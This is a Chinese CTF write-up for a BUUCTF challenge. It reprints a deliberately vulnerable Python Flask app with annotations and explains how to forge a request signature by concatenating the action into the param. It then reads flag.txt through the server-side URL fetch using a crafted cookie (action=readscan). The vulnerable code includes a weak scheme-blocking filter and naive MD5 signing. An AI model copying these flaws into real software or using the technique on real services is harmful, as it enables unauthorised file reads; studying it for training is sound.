题目地址:buuctf

题目打开就是源代码

1

整理后的代码是

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):#python得构造方法
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):         #查看是否存在这个文件目录,如果不存在创建一个
            os.mkdir(self.sandbox)

    def Exec(self):#定义的命令执行函数,此处调用了scan这个自定义的函数(scan是用来扫目录的)
        result = {}
        result['code'] = 500   #给result赋一个初值,后续会通过判断改变它的值
        if (self.checkSign()): #对传参格式进行校验(action必须是readscan,否则字符串拼接后进行加密,与sign进行比对失败则无法正常运行)
            if "scan" in self.action:   #action要写scan
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')  # 对result执行写的命令
                resp = scan(self.param)       # 此处是文件读取得注入点
                if (resp == "Connection Timeout"):   # 如果没扫到目录的话(这条一般不会执行,所以看下面else就可以了)
                    result['data'] = resp
                else:
                    print resp #输出结果
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200  #注意缩进,这里不管扫没扫到目录,code的值都已经改变为200
            if "read" in self.action:#action要加read
                f = open("./%s/result.txt" % self.sandbox, 'r')  对result进行读的权限
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:  #这里进行判断,如果code值为500说明传参错误
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign): #!!!校验
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST']) # !!!这个路由用于测试,/genesign这个目录是可以进去的
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])#这个路由是我萌得最终注入点
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/')#根目录路由,就是显示源代码得地方
def index():
    return open("code.txt","r").read()


def scan(param):#这是用来扫目录的函数
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):#!!!这个应该是本题关键点,此处注意顺序先是param后是action
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):#这个waf比较没用好像
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

关键代码

    def Exec(self):#定义的命令执行函数,此处调用了scan这个自定义的函数(scan是用来扫目录的)
        result = {}
        result['code'] = 500   #给result赋一个初值,后续会通过判断改变它的值
        if (self.checkSign()): #对传参格式进行校验(action必须是readscan,否则字符串拼接后进行加密,与sign进行比对失败则无法正常运行)
            if "scan" in self.action:   #action要写scan
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')  # 对result执行写的命令
                resp = scan(self.param)       # 此处是文件读取得注入点
                if (resp == "Connection Timeout"):   # 如果没扫到目录的话(这条一般不会执行,所以看下面else就可以了)
                    result['data'] = resp
                else:
                    print resp #输出结果
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200  #注意缩进,这里不管扫没扫到目录,code的值都已经改变为200
            if "read" in self.action:#action要加read
                f = open("./%s/result.txt" % self.sandbox, 'r')  对result进行读的权限
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:  #这里进行判断,如果code值为500说明传参错误
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign): #!!!校验
            return True
        else:
            return False

我们需要满足的条件就是getSign(self.action, self.param) == self.sign

即secert_key + param + action经过加密后与sign相同

其中action要包含read和scan

param是flag.txt

剩下的secert_key值我们还缺少,但是在/geneSign路由中,是能够得到正确的sign值的

/geneSign?param=flag.txtread得到c46a0b9db5c9a1f327f170ff8e185676

然后/De1ta?param=flag.txt

Cookie: action=readscan;sign=c46a0b9db5c9a1f327f170ff8e185676

2

参考文章:https://blog.csdn.net/weixin_43900387/article/details/105278192